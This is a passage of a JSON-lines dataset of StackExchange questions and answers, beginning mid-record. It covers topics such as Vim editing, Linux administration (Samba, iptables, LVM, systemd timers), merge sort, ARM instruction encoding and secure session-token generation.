part, you have a good relationship with this customer. (Everything is going well so far.)Presumably you want to keep that relationship.But it sounds like this scenario has occurred more than once.Perhaps you have somehow (unintentionally, perhaps) let the customer believe that you aren't bothered by these occasional bugs as much as they are.  If so, the customer may feel they should increase their own expressed level of concern over the problem in order to get more attention from you.In such cases, the more you appear to brush off the problem, the more they will complain.Outside of (possibly) some very expensive development processes, it is perhaps inevitable that a bug will sometimes be found after release.  But it never needs to be acceptable (or OK) for bugs to slip through.  You can reconcile these two beliefs by making it clear that you don't want to deliver buggy software and that you take the discovery of even one bug as something to be addressed.The next step is to figure out how to address it.If you make the customer understand that you are on top of the situation and doing everything within reason to fix the problem, they may complain less.  If they somehow inform you of the existence of the bug (such as in an email saying, Hey, is this supposed to happen?) before the meeting where they tell you how disappointed they are, you might even be able pre-emptively to make them understand (even before the meeting) how seriously you take this situation and in that way possibly deflect some of the criticism."  } 
{  "id": "_vi.5929"  , "question": "I'm using r a lot (e.g. for replacing  with ' when refactoring code). Is there an easy way to do something like this:For text: values = [a, b, c].Place cursor on first , press r' to change to values = ['a, b, c].Now we want to repeat that five times.For example by pressing 5<Ctrl>r.To repeat previous r command five times for next occurences of '.Would this be possible? And if so, how?I know I can do <Shift>v:s//'/<Enter>. But this seems inefficient.Please help making my life easier. ;)"  , "title": "Repeat replace one character (r) for next occurence"  , "tags": "replace;repeated commands"  , "accepted_answer": "Well, <Shift>v:s//'/<Enter> is certainly less efficient than :s//'<CR>.Here are various ways to perform the same task:f           jump to next r'           replace it with a ';.           repeat jump then repeat replace;.           repeat jump then repeat replace;.           repeat jump then repeat replace;.           repeat jump then repeat replace;.           repeat jump then repeat replace/<CR>       search for next cgn'<Esc>    change it to ' (Note: the gn command was introduced in Vim 7.3.610).....        repeat change 5 timesqq           start recording in register qf           jump to next r'           replace it with 'q            stop recording5@q          replay recording 5 timesNone of which being as efficient as :s//'<CR> which can be made even better with a small mapping:nnoremap <key>      :s/nnoremap <otherkey> :%s/"  } 
{  "id": "_unix.308718"  , "question": "I use Smb4K for mounting my shares across my machines. However, something's happened, and when I mount my NAS share on my laptop I can't write to the share unless I sudo to root.According to top, Smb4K runs under my user account. Smb4k's settings for user and group are 1000 and the file and dir masks are 0755, and write access is set to read-write. However, when it mounts the device to /media/nasbox/fileshare, the nasbox folder is created under the user account, but the fileshare folder was created under the root account.When I unmount, both nasbox and fileshare are removed from the filesystem.Whilst mounted, if I try to chown the fileshare to the user account, it says success, but doesn't actually change.Does anyone know how I can fix the permissions to write normally?"  , "title": "Permissions in smb4k mounts"  , "tags": "kde;samba"  } 
{  "id": "_unix.111073"  , "question": "I need to install Debian with an image less than 1GB, with a desktop environment and reasonable functionality. The Wheezy image is around 1.2 GB and my USB stick is 1GB. I can't understand the net-install either, and Debian does not auto-detect my wireless card on install.What else can I try?"  , "title": "Debian install less than 1 GB."  , "tags": "debian"  } 
{  "id": "_unix.28188"  , "question": "I can do tcpdumps with this command: tcpdump -w `date +%F-%Hh-%Mm-%Ss-%N`.pcap src 10.10.10.10 or dst 10.10.10.10Q: I have an FTP server with username: FTPUSER and password FTPPASSWORD. How can I upload the tcpdump in real time I mean I don't have a too big storage to store the dumps, so I need to upload it to a place what I can only reach via FTP. Can I pipe somehow the output of the tcpdump to an ftp client that uploads it? [I need to preserve the filenames too: date +%F-%Hh-%Mm-%Ss-%N.pcap]so I'm searching for a solution that doesn't store any tcpdumps locally, rather it uploads the dumps in real-time.The OS is OpenWrt 10.03 - the router where the tcpdump runs. [4MB flash on the router, that's why I can't store them locally.]UPDATE2: there is no SSH connection to the FTP server, just FTP [and FTPES, but that doesn't matter now I think]"  , "title": "How to upload tcpdumps in realtime to FTP?"  , "tags": "ftp;openwrt"  , "accepted_answer": "install curlftpfsopkg update; opkg install curlftpfsthen create a script that will run after every boot of the routervi /etc/rc.d/S99tcpdumpthe content of S99tcpdump#!/bin/ashmkdir -p /dev/shm/somethingcurlftpfs FTPUSERNAMEHERE:FTPPASSWORDHERE4@EXAMPLE.COM /dev/shm/something/tcpdump -i wlan0 -s 0 dst 192.168.1.200 or src 192.168.1.200 -w /dev/shm/something/tcpdump-`date +%F-%Hh-%Mm-%Ss`.pcap &make it executablechmod +x /etc/rc.d/S99tcpdumpreboot router, enjoy.p.s.: looks like -s 0 is needed because there could be messages like: packet size limited when capturing, etc. - when loading the .pcap files in wiresharkp.s.2: make sure the time is correct because if not, the output filename could be wrong.."  } 
{  "id": "_softwareengineering.235393"  , "question": "In the source code I'm evaluating (jarjar), there exists java code that can be used like this:JarJarTask fixture = new JarJarTask();fixture.addConfiguredRule(new Rule());fixture.execute();Which will throw an exception like:java.lang.IllegalArgumentException:The <rule> element requires both pattern and result attributes.Now, to me it is clear that the API is less than optimal here - if the rule element requires these attributes, it should ask for them in the constructor (or provide a Builder or similar that would require them). But I was unable to find coding conventions or java programming recommendations to agree with me.Is there some specific name for this that I can use to look this up in research, programming literature, style guides? Which terms could I use to find some discussion on this?Surely it's been discussed somewhere using some terms, but I seem to be unable to find anything.I did find discussion around constructor injection as presented by Kent Beck in Smalltalk Best Practice Patterns and supported by Martin Fowler, which, according to this, makes it immediately clear what a class requires when it is instantiated, and furthermore it is impossible to instantiate the class without passing in the fields objects. So that's a starting point at least to find some discussion."  , "title": "Is there a named antipattern for unclear API not exposing the requirements?"  , "tags": "coding style;anti patterns"  , "accepted_answer": "The best you're going to do here is to state what the API isn't, or what it fails to provide.  Constructor vs. Setter Injection is a bit of a side journey, but the principle is sound: write your classes so that it is clear from the constructor arguments exactly what is required to create a fully-formed, functional object. If you follow best practices in your organization, simply state that the class fails to follow the practice of describing its instantiation requirements in the constructor.RelatedDesign by Contract"  } 
{  "id": "_cs.62790"  , "question": "I am working on a transformation from k Vertex Cover to SAT and I have some issues regarding the last clause in the boolean formula.Here is my approach:    $$\\forall \\text{ nodes } n_i \\in V, \\text{ invent variables } v_i$$    $$\\forall \\text{ edges } (n_i, n_j) \\in E, \\text{ invent the terms } (v_i \\lor v_j) \\Rightarrow C_{edges}$$Is this approach correct or am I missing something?"  , "title": "Reducing k Vertex Cover to SAT (last clause problem)"  , "tags": "complexity theory;reductions;satisfiability"  } 
{  "id": "_unix.244704"  , "question": "I tried to check who is connecting to my server and got this line I could not recognized. I used sudo lsof -i -n | egrep '\\<ssh\\>'. And these lines looks odd to me:sshd      5921       sshd    3u  IPv4  66008      0t0  TCP 192.168.1.165:ssh->43.229.53.76:59605 (ESTABLISHED)sshd      5922       root    3u  IPv4  66056      0t0  TCP 192.168.1.165:ssh->43.229.53.76:60008 (ESTABLISHED)sshd      5923       sshd    3u  IPv4  66056      0t0  TCP 192.168.1.165:ssh->43.229.53.76:60008 (ESTABLISHED)sshd      5924       root    3u  IPv4  66082      0t0  TCP 192.168.1.165:ssh->43.229.53.76:60407 (ESTABLISHED)The address is from HongKong and I am not aware of why that could happen."  , "title": "What does this mean :sshd 5927 root 3u IPv4 66110 0t0 TCP 192.168.1.165:ssh->43.229.53.76:60 673 (ESTABLISHED)"  , "tags": "sshd"  } 
{  "id": "_cogsci.1732"  , "question": "A while back, I watched the movie The Terminal and the main character played by Tom Hanks learns to speak fluent English while he is stranded in the airport for more than a year. Which seems somewhat superfluous as I was of the opinion that picking up a new language when you grow older is not easy. But Tom Hanks' character manages to speak English quite fluently given his background. Dr Martha Young-Scholten of University of Newcastle mentions that the movie accurately describes how someone would acquire a second language under naturalistic exposure:Misrepresentations of complex issues such as adult second language (L2) acquisition are rife in the news media; one does not expect Hollywood to differ. Yet the 2004 film The Terminal (2004) gets it right. Stranded in a NY airport for a year, Tom Hanks character accurately depicts the early stages of acquisition and demonstrates how ample naturalistic exposure leads to advanced L2 proficiency. Hollywood also manages cultural nuances; initial communication fails because the authorities assume Hanks is attempting to immigrate when his purpose is one of pilgrimage.If an individual is forced to use a language he is almost unfamiliar with, would it help him make significant progress in acquiring that language, regardless of his age?"  , "title": "Does the effect of naturalistic exposure on second language acquisition vary with age?"  , "tags": "learning;language;aging"  } 
{  "id": "_unix.119525"  , "question": "CentOS 5.xI'd like to understand what is specifically happening to incoming packets that don't explicitly match rules in my iptables chains. Is the default action to reject them?  Or drop them? How/where can I set this? Here's an example output of my firewall setup (some ports have been modified to protect the innocent :-) ) :Chain INPUT (policy ACCEPT)target     prot opt source               destinationRH-Firewall-1-INPUT  all  --  anywhere             anywhereChain FORWARD (policy ACCEPT)target     prot opt source               destinationRH-Firewall-1-INPUT  all  --  anywhere             anywhereChain OUTPUT (policy ACCEPT)target     prot opt source               destinationChain RH-Firewall-1-INPUT (2 references)target     prot opt source               destinationACCEPT     all  --  anywhere             anywhereACCEPT     all  --  anywhere             anywhereACCEPT     icmp --  anywhere             anywhere            icmp anyACCEPT     esp  --  anywhere             anywhereACCEPT     ah   --  anywhere             anywhereACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHEDACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:456REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibitedThe key point though is that I have a different chain called RH-Firewall-1-INPUT that doesn't have an explicit (policy ACCEPT) or (policy REJECT) statement. What would be the default behavior for that (assuming of course that I'm NOT matching any of the prior rules).  Is the last line just a catch all? "  , "title": "What is the default action for incoming packets that don't match explicit iptables rules?"  , "tags": "networking;security;iptables"  } 
{  "id": "_unix.299503"  , "question": "There are many posts here on U&L on the topic; Using arch + xfce + no display manager but the bug (obviously) keeps saving my sessions although Automatically save session on logout is unchecked.What would be the best workaround? Right now I am thinking of rm the contents of .cache/sessions and .xfce4-sessions in .xinitrc.UpdateA simple one-liner solves the problem (the ugly way). The .xinitrcrm -R ~/.cache/sessions"  , "title": "xfce session always saved"  , "tags": "arch linux;xfce;desktop environment"  } 
{  "id": "_unix.335051"  , "question": "Is there any way to automatically click a link in an email from a specific recipient in Evolution, as the emails come in? Perhaps there is an extension that can be added, or possibly a macro? If not, is there any other way of doing this?"  , "title": "Can hyperlink clicks be automated in Evolution and how"  , "tags": "email;evolution"  , "accepted_answer": "I don't think that you can directly click links, but Evolution have filters that can invoke different actions. One of the action is Pipe to Program.Create filter by going to: Edit -> Message filters -> Add and set it to filter emails from the address that you want. In Then section select Pipe to Program and select script to process your mail.I would reccomend simple Python script to process the mails - it has to allow input to be piped into it. Example below (based on this and this) should give you some idea how to achieve it. Obviously instead of logging urls to file you would have to open browser or just open it using urllib or similar.#!/usr/bin/python                                                                                                                                                      import fileinputimport ref = open('a.out', 'a')for line in fileinput.input():  urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', line)  for url in urls:    f.write(url+\\n)f.close()"  } 
{  "id": "_cs.54047"  , "question": "Assuming its one step closer to realism as compared to ANN, DNNs and other Neural Network models, what are the primary differences between a real neuron system and SNN?"  , "title": "How different is the working of SNN (Spiking Neural Network) as compared to a real Neuron System in biological systems?"  , "tags": "machine learning;artificial intelligence;neural networks;bioinformatics"  , "accepted_answer": "There are different types of spiking neural network models:Hodgkin-Huxley: models the processes within a neuron with electrical parts. This results in differential equations with 4 variables (capacity of the membrane, resistance of the ion channels, balance potentials, openings of the ion channels).Leaky integrate and Fire (LIF): Probably the simplest SNN; it is only an ordinary first order differential equation Spike Response Model: models refraction time. It tries only to model the phenomena. Although it is simple, it is still more accurate than LIF.I don't have a biology background, but I would say the Hodgkin-Huxley model is probably the closest to real neurons. However, as far as I know (which is very little), there is no (effective, plausible) training algorithm. So this is probably the key difference to the brain. Also the topology will certainly be different.And, of course, we can model much less spiking neurons than we have natural neurons in a human. So the number of neurons is a key difference, too. I've heard SNNs have a few dozend neurons, probably up to several hundred neurons. The biggest MLP (CNN) models I've seen so far have about 150 000 neurons (see Deep Residual Learning for Image Recognition). The human brain has about 86,000,000,000 neurons (see Wikipedia)."  } 
{  "id": "_cs.52729"  , "question": "I'm watching a video, demonstrating merge sort, https://www.youtube.com/watch?v=EeQ8pwjQxTMAt 5:42, happens something I do not understand. We are merging last 2 big arrays, [4,15,50,108] and [8,16,23,42].My understanding is - we pick each pair, since they are already in sorted arrays, and swap them if one is larger than the other.So it goes well, until 23 is smaller than 50, and next element is 42 which is smaller than 108 and we end up with [4,8,15,16,23,50,42,108].Obviously, my understanding is faulty. But I heard no indication we go we compare each element in first array with all the elements of second one. Did I miss it? If so, how's the n log n complexity achieved, since we do n^2 operations?"  , "title": "merge sort merge phase"  , "tags": "algorithms;algorithm analysis;sorting"  , "accepted_answer": "How does the merging work?Imagine two pointers, starting at the first element of each array. In this example I will use the #-Symbol to indicate the pointers.This is your start configuration:[#4,15,50,108][#8,16,23,42][ ]Now you always compare the elements, that the pointers are pointing at and move the smaller element to the merged list. Then you move the winning pointer to the next element. The loser pointer does not move. If a pointer reaches the end of the list, the other pointer always wins.This is your result after the first comparison:[4,#15,50,108][#8,16,23,42][4]4 won the comparison and therefore is added to the merged list. The pointer is moved to the next position. Now we start over and compare 15 and 8 resulting in this configuration:[4,#15,50,108][8,#16,23,42][4, 8]This process continues until each element is in the merged list.After comparing 15 and 16:[4,15,#50,108][8,#16,23,42][4, 8, 15]After comparing 50 and 16:[4,15,#50,108][8,16,#23,42][4, 8, 15, 16]After comparing 23 and 50:[4,15,#50,108][8,16,23,#42][4, 8, 15, 16, 23]And so on...In code these pointers could be realised by using indexes for the lists (increasing them when the pointer has to move) or using queues (always taking the first element).How is it $O(n*log(n))$ if we do $O(n^2)$ Operations?Because we dont. During the merge process, every element is still only visited once (you never decrease a pointer). If your merge algorithm has two lists of length $n$ for arguments, then it needs $O(2*n)$-Time but $O(2*n) = O(n)$. And with merging in $O(n)$, merge sort is in $O(n * log(n))$."  } 
{  "id": "_unix.278564"  , "question": "[NOTE: The intent of this question is to help people evaluate whether systemd timers would be a good choice for their job timing needs. Many (most?) people are probably using cron, but maybe some are open to alternatives/improvements.]It was recently pointed out to me that an alternative to cron exists, namely systemd timers.However, I know nothing about systemd or systemd timers. I have only used cron.There is a little discussion in the Arch Wiki. However, I'm looking for a detailed comparison between cron and systemd timers, focusing on pros and cons. I use Debian, but I would like a general comparison for all systems for which these two alternatives are available. This set may include only Linux distributions.Here is what I know.Cron is very old, going back to the late 1970s. The original author of cron is Ken Thompson, the creator of Unix. Vixie cron, of which the crons in modern Linux distributions are direct descendants, dates from 1987.Systemd is much newer, and somewhat controversial. Wikipedia tells me its initial release was 30 March 2010.So, my current list of advantages of cron over systemd timers is:Cron is guaranteed to be in any Unix-like system, in the sense of being an installable supported piece of software. That is not goingto change. In contrast, systemd may or may not remain in Linuxdistributions in the future. It is mainly an init system, and may bereplaced by a different init system.Cron is simple to use. Definitely simpler than systemd timers.The corresponding list of advantages of systemd timers over cron is:Systemd timers may be more flexible and capable. But I'd likeexamples of that.So, to summarise, here are some things it would be good to see in an answer:A detailed comparison of cron vs systemd timers, including pros andcons of using each.Examples of things one can do that the other cannot.At least one side-by-side comparison of a cron script vs a systemdtimers script."  , "title": "Cron vs systemd timers"  , "tags": "cron;systemd timer"  } 
{  "id": "_webapps.67760"  , "question": "I am working on a document that involves two languages simultaneously.In Open Office I have created a 2-column table, with the left-hand column set to English and the right-hand column set to the other language (for spell checking, grammar, hyphenation, ...).Now I'd like to invite others to collaboratively edit this document, and a Google document almost seems like a good solution.How do I do the same thing in Google Docs? I can only find a language setting for the entire document."  , "title": "How do I use two languages simultaneously in Google Docs?"  , "tags": "google documents"  } 
{  "id": "_unix.325846"  , "question": "I got gulp installed via npm. When I execute gulp in any folder it works as expected. But when I'm in a folder which contains a folder named gulp, it changes the directory (cd) into this folder instead of executing the command.How can I fix this?"  , "title": "ohmyzsh opens folder instead of command (autocd)"  , "tags": "zsh;oh my zsh"  } 
{  "id": "_unix.39624"  , "question": "Centos- 6, LVM2after a system hang and hard reboot.lvdisplay and lvscan return no volumes. It had volumes earlier...how to recover?there is data on LV (logical volume) - shared as NFS export..VG is listed under /etc/lvm/backup/datastore1. any ideas to restore the LV?vgdisplay    -- Volume group --    VG Name               datastore1    System ID    Format                lvm2    Metadata Areas        1    Metadata Sequence No  1    VG Access             read/write    VG Status             resizable    MAX LV                0    Cur LV                0    Open LV               0    Max PV                0    Cur PV                1    Act PV                1    VG Size               10.92 TiB    PE Size               4.00 MiB    Total PE              2861467    Alloc PE / Size       0 / 0    Free  PE / Size       2861467 / 10.92 TiB    VG UUID               7uq001-dUxd-I1WS-PPu2-ljT3-FybY-D9ddx2cat /etc/lvm/backup/datastore1datastore1 {        id = 7uq001-dUxd-I1WS-PPu2-ljT3-FybY-D9ddx2        seqno = 2        status = [RESIZEABLE, READ, WRITE]        flags = []        extent_size = 8192              # 4 Megabytes        max_lv = 0        max_pv = 0        metadata_copies = 0    physical_volumes {            pv0 {                    id = kRGDrz-YFyf-EIKk-0om6-9H78-jgle-9z0B27                    device = /dev/cciss/c0d1p1    # Hint only                    status = [ALLOCATABLE]                    flags = []                    dev_size = 23441142637  # 10.9156 Terabytes                    pe_start = 2048                    pe_count = 2861467      # 10.9156 Terabytes            }    }}"  , "title": "Logical volume missing after reboot"  , "tags": "linux;lvm;nfs"  , "accepted_answer": "If you're about to restore the LVM partiton scheme from backup file , you could try:vgcfgrestore datarestore1If everything is ok , try activate all LVs by:vgchange -ayAnd do a fsck on all volums with fsck , e.g fsck /dev/datarestore1/XXIf no errors occured , try mount them by mount -a"  } 
{  "id": "_codereview.32769"  , "question": "Does this code create sufficiently hard-to-guess session tokens, assuming the server and client are communicating over HTTPS?Take 2 (thanks to this crypto.SE answer):(ql:quickload (list :ironclad :cl-base64))(let ((prng (ironclad:make-prng :fortuna)))  (defun new-session-token ()    (cl-base64:usb8-array-to-base64-string     (ironclad:random-data 32 prng) :uri t)))As an additional note, the previous version was using the incorrect encryption mode (ecb, instead of ctr which is preferable for this task), and using an insecure method of generating random keys ((sha256 rand)).If not, what else is required for that goal, and why?Are there attacks I should be worried about other than guessing and sniffing session tokens?"  , "title": "Generating hard to guess session tokens"  , "tags": "security;common lisp"  , "accepted_answer": "Your question doesn't give enough information about exactly what you want to do to know if this might work in your case.  The most important answer is simple though:  don't do that; use a web framework instead.  Session management should almost always be done in the standard way of your framework; then you won't have to do anything other than check if your framework thinks your user is authenticated.  Let's now look at the specifics of the code.  You have used a cryptographic PRNG.  That should be fine.  You used 32 bytes = 256 bits of random data.  This should be no problem (128 bits is normally enough against brute force attack; 256 is overkill, which is likely good in this case)  your main fears should probably be seeding and leaking bits.Seeding: the PRNG documentation says that if you don't give a random seed the PRNG will be unseeded.  In real life it seems that it actually does get seeded from /dev/random.  I deeply don't like this and would probably seed it explicitly.  Better would be discuss with the author and send a patch to the documentation for the library so that it promises to do what it actually does.  I don't have an OS without /dev/random to test on, but I think your function simply won't work there (which is good because it's safe).Leaking bits1:  If the attacker can find a situation where response time depends on the contents there might be a problem (e.g. force regeneration of the session).  Looking up about timing attacks on Ironclad I don't think it's resistant (see e.g. https://www.mail-archive.com/pro@common-lisp.net/msg00977.html).  You need to check or protect against this.  If the contents of the message are true then you should probably switch to a better library such as LibreSSL when it comes out (possibly GNU TLS?).  If someone attempts to use the function on e.g. Windows I would simply exit with a warning.  Leaking bits2: your output is constant size but includes some special characters. If the attacker can find a situation where your message length depends on the authentication token then you have a problem.  Using Base64 encoding (a second time) should be fine.  Using maximal HTML encoding for your tokens will not be (n.b. normal HTML would be fine; but some encoders go too far).  Leaking bits3: Going further, there are standard attacks against SSL/TLS which I think you should consider; BEAST, CRIME and BREACH which leak bits https://en.wikipedia.org/wiki/Transport_Layer_Security#CRIME_and_BREACH_attacks.  Increasing the size of your random token beyond 256 bits might marginally protect against such things.  However In the current form, the exploit uses JavaScript and needs 6 requests to extract one byte of data (https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls) so I think you may find that effort would be better invested in turning off compression on all sites and user web browsers.  Personally I would go for 384 bytes just to be more conservative than the rest ;-) Summary: probably your function is basically the same one used in many frameworks.  Because of the risk of timing attacks and bit leakage I wouldn't personally want to release it for public use until I understood the whole surrounding situation of usage much better than I currently do.  (edited lots since I misread bytes as bits in the first response)"  } 
{  "id": "_webmaster.93877"  , "question": "I made a photo collage editor system on my site and I tried to made the page with a lot of text so that users know what is going on. This is the URL if anyone is wondering: http://new.clubcatcher.com/collageAnyways, what happens to new users is that a sticky box appears over content at the bottom right reminding guests where they can go if they need extensive help on making a collage. They can click the no thanks button in the box to remove it completely.Now I'm starting to think my income went down again because of this box. Maybe google is thinking that I'm just playing games with people by blocking content, yet I'm only doing it to try to help people. This is the only section of the site where that box would exist. The only other times a box like that exists is if the user decides to go through the tutorial.As for box implementation, the box is hidden by default via CSS then javascript checks for a special cookie and if it is unset, the box appears, otherwise it stays hidden.I still want to point out to users that such tutorial exists, but somehow I feel the way I'm doing it is frustrating google.What would be another way I can advertise the existence of the tutorial from within the same page where even the dumbest person on the planet can still find it without frustrating google, any user, or any other search engine?"  , "title": "alternative to adding a box initially covering content that actually helps users"  , "tags": "content"  } 
{  "id": "_softwareengineering.146255"  , "question": "We are in a small company with around 10 developers. I am the team leader and responsible for the development process.Supervisors and salesmen are close to us since we are a small team, but have no clue on how software is developed.When they ask me how much time I want for a change (bugfixes/features) in a product, my response is 'let me calculate it'. After giving them the schedule, they start by saying OK you can do it in XX time which differs a lot from my plan. We are using a model close to Agile basic principles and have circles per week or per three days.Of course I argue and say that this cannot be done. They seem to have no idea on the effort we are doing. They do not want to see WHY my schedule is for that amount of time. I know this behavior is stupid, but how can I make them see the problem?"  , "title": "Completion time on a company where the supervisors don't know programming"  , "tags": "development process;time estimation;leadership"  , "accepted_answer": "If the salesmen are also the ones who are in charge, you can say, Ok, I can go with your schedule. Which features or responsibilities would you like me to sacrifice in order to make your deadline? That way you're not saying no to the people in charge but you're not committing to impossible things. The decision is in their hands how to run the business. If they want to axe other things to make time for the changes, let them.EDIT:We need to respect and submit to those who are in authority, while still doing our jobs with excellence. The only way to do this is with humility. I'll work on whatever my boss wants me to work on, but I can only do so much. When you tell him like it is with an attitude of submission, he is in a better position to make better decisions and he'll want more employees like you.Make sure these things are documented too in order to explain why the commitments are unreasonable and how the situation was resolved. It can help coworkers deal with similar situations in the future."  } 
{  "id": "_hardwarecs.4391"  , "question": "I want to build a PC as small as possible, so I'm considering a mini-ITX build which support dedicated graphic card. In fact I don't need a graphic card right now, but just in case I will need one in the future, so mini-ITX seems to be a good choice.I want a small and solid chassis at reasonable price, any recommends?"  , "title": "What are the smallest mini-ITX cases available?"  , "tags": "case"  } 
{  "id": "_unix.351295"  , "question": "I'm not sure exactly when this started but it's been only a few days max, when I try to run the android tool I'm getting a:Exception in thread main java.lang.UnsatisfiedLinkError: no swt-gtk-3550 or swt-gtk in swt.library.path, java.library.path or the jar file      at org.eclipse.swt.internal.Library.loadLibrary(Unknown Source)      at org.eclipse.swt.internal.Library.loadLibrary(Unknown Source)      at org.eclipse.swt.internal.C.(Unknown Source)      at org.eclipse.swt.internal.Converter.wcsToMbcs(Unknown Source)      at org.eclipse.swt.internal.Converter.wcsToMbcs(Unknown Source)      at org.eclipse.swt.widgets.Display.(Unknown Source)      at com.android.sdkmanager.Main.showSdkManagerWindow(Main.java:403)      at com.android.sdkmanager.Main.doAction(Main.java:391)      at com.android.sdkmanager.Main.run(Main.java:151)      at com.android.sdkmanager.Main.main(Main.java:117)Googling about the exception shows somewhat old results, which I've tried all except one, basically I need to remount my /tmp as noexec, but because I'm running an Arch system and it is somewhat advanced for my experience and I don't want to mess it up. One of the suggested fixes and the one that I just implemented (so I'm not sure if it will continue working) is to specify a temporary dir on the script via the -Djava.io.tmpdir argument. I thought that would do it but since this error is still showing up, another thing I want to do is increase its size.When I went to read fstab documentation, I noticed that Arch's systemctl manages partition mounting automatically and manually editing /etc/fstab is required for specific configuration and I'm still confused of why fstab only shows one entry:  # /etc/fstab: static file system information. # <file system>                           <mount point>  <type>  <options>  <dump>  <pass> UUID=someId                               /              ext4    defaults,noatime,discard 0       1 UUID=someOtherId                          swap           swap    defaults,noatime,discard 0       0 tmpfs                                     /tmp           tmpfs   defaults,noatime,mode=1777 0       0and there are 4 tmpfs filesystems on my system:   mount | grep tmp                                                          dev on /dev type devtmpfs (rw,nosuid,relatime,size=4035472k,nr_inodes=1008868,mode=755) run on /run type tmpfs (rw,nosuid,nodev,relatime,mode=755) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) tmpfs on /tmp type tmpfs (rw,noatime) tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=807996k,mode=700,uid=1000,gid=1005)and for what I can see it's not the one my user is assigned to. I tried reading the .conf files suggested on systemd's documentation but I just can't get a deal of how they work.So I guess the question is how do I modify my user-assigned /tmp partition without screwing it up? Or if I need to configure one of the existing three globally so Android Studio and the android tool don't complain about silly, non-existing issues? ThanksEDITI guess increasing the size is not useful since I just noticed it's configured to fully use the 8GB I have. So my intuition tells me that somehow, they are trying to use a different partition than mine, isn't it?"  , "title": "Error no swt-gtk-3550 or swt-gtk in swt.library.path when launching `android`"  , "tags": "arch linux;java;android;tmpfs"  } 
{  "id": "_datascience.16162"  , "question": "Why Gaussian Discriminant Analysis model use joint probability to get maximum likelihood ? But why in some models like linear model, we use posterior probability to get maximum likelihood ? I don't know how to choose the appropriate kind of probability. "  , "title": "Why Gaussian Discriminant Analysis model use joint probability to get maximum likelihood?"  , "tags": "machine learning;discriminant analysis"  } 
{  "id": "_softwareengineering.270868"  , "question": "I'm working on the implementation of a few related algorithms in CUDA, all of which require a primitive that we'll call f(). The related algorithms can't simply call f though, as they require f to have slightly different behavior for each algorithm.f is highly optimized feature though, so I don't want to overload f for each case because if I end up making changes to f then I need to change each overload.f looks something like the following:__device__ void f(const int *R, const int *C, const int n, int *d, int *Q, int *Q2){    for(int i=blockIdx.x; i<n; i+=gridDim.x)    {         //Cooperatively inspect R and C and place results into d    }}It's actually way more complicated as it uses lots of __shfl instructions and whatnot, but that shouldn't be relevant here. The problem is that the related algorithms all need slightly different variations of f but since f is complicated I only want it's code in one location.Here are the requirements of the related algorithms:A: An additional global device variable to keep track of the maximum of a set of dataB: An additional O(n) or O(n^2) array for recording integer data at various stages of fC: Similar to B but recording binary dataD: Requires a stack and an array for recording data at various stages of f (the array is the same as needed in B). Has other requirements too but those are better handled separately.How can I avoid duplicating f and make it flexible for these use cases?"  , "title": "Maximizing reuse out of a function primitive in CUDA"  , "tags": "design;c++;code reuse"  } 
{  "id": "_reverseengineering.16154"  , "question": "I'm trying to understand how ARM add with shift is implemented e.g. sym.imp.__libc_start_main :                                                                                                                                                           .plt:0x000082bc 00c68fe2 add ip, pc, 0, 12; after execution ip=0x82c4.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20; after execution ip=0x102c4.plt:0x000082c4 48fdbce5 ldr pc, [ip, 0xd48]!I wonder about the line.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20;it will add #0x8000 to the ip register. My question is why #0x8000 ?I'd assume it will be:ip = ip + (8<<20)so 0x800000 but it's more likeip = ip + (8<<(20-8))Why is that? do I always have to substract 8 from the shift ?"  , "title": "ARM add instruction with shift"  , "tags": "disassembly;assembly;arm"  , "accepted_answer": "It's a Circular Shift on a 32-bit system.Circular ShiftIn computer programming, a circular shift (or bitwise rotation) is a  shift operator that shifts all bits of its operand. Unlike an  arithmetic shift, a circular shift does not preserve a number's sign  bit or distinguish a number's exponent from its significand (sometimes  referred to as the mantissa). Unlike a logical shift, the vacant bit  positions are not filled in with zeros but are filled in with the bits  that are shifted out of the sequence.Understanding the codeFirst Line:This is simply translated into add ip, pc because rotate operations on #0 is still 0.So it's actually IP = PC  + (0 << 12) = PC + 0Second Line:Let's take apart the opcodes and understand the problematic line:The opcodes should be read like this because of endianness: e28cca08e - always execute this instruction28 - add immediatec - Rd is the ipc - Rn is the ipa 08 - 8 right rotated by 20The things is, that it's not 8<<20 but instead it is 8<<(32-12) because we are on a 32-bit system and it is a Circular Shift.Here's a C code that showing the Circular Shift based on the example from Wikipedia:#include <stdint.h>  // for uint32_t, to get 32bit-wide rotates, regardless of the size of int.#include <limits.h>  // for CHAR_BITuint32_t rotl32 (uint32_t value, unsigned int count) {    const unsigned int mask = (CHAR_BIT*sizeof(value)-1);    count &= mask;    return (value<<count) | (value>>( (-count) & mask ));}uint32_t rotr32 (uint32_t value, unsigned int count) {    const unsigned int mask = (CHAR_BIT*sizeof(value)-1);    count &= mask;    return (value>>count) | (value<<( (-count) & mask ));}int main(){    printf(Result: 0x%x\\n,rotr32(8,20));    return 0;}The code will output:  Result: 0x8000"  } 
